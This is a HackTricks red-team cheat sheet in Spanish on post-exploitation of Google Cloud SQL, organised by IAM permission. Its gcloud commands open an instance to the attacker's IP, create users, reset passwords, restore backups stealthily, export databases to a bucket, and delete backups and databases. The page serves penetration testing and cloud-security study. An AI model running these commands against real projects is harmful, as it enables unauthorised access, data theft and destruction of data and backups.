GCP - Cloud SQL Post Exploitation

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Cloud SQL

Para obtener más información sobre Cloud SQL, consulta:

pageGCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Para conectarte a las bases de datos, solo necesitas acceso al puerto de la base de datos y conocer el nombre de usuario y la contraseña, no hay requisitos de IAM. Por lo tanto, una forma sencilla de obtener acceso, suponiendo que la base de datos tenga una dirección IP pública, es actualizar las redes permitidas y permitir que tu propia dirección IP acceda a ella.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

También es posible usar --no-backup para interrumpir las copias de seguridad de la base de datos.

Dado que estos son los requisitos, no estoy completamente seguro para qué sirven los permisos cloudsql.instances.connect y `cloudsql.instances.login. Si lo sabes, ¡envía un PR!

cloudsql.users.list

Obtener un listado de todos los usuarios de la base de datos:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Esta permiso permite crear un nuevo usuario dentro de la base de datos:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Este permiso permite actualizar un usuario dentro de la base de datos. Por ejemplo, podrías cambiar su contraseña:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Las copias de seguridad pueden contener información sensible antigua, por lo que es interesante revisarlas. Restaurar una copia de seguridad dentro de una base de datos:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Para hacerlo de manera más sigilosa, se recomienda crear una nueva instancia de SQL y recuperar los datos allí en lugar de en las bases de datos actualmente en ejecución.

cloudsql.backupRuns.delete

Este permiso permite eliminar copias de seguridad:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Exporta una base de datos a un Bucket de Cloud Storage para que puedas acceder a ella desde allí:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Importar una base de datos (sobrescribir) desde un Bucket de Cloud Storage:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Eliminar una base de datos de la instancia de la base de datos:

gcloud sql databases delete <db-name> --instance <instance-id>
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Última actualización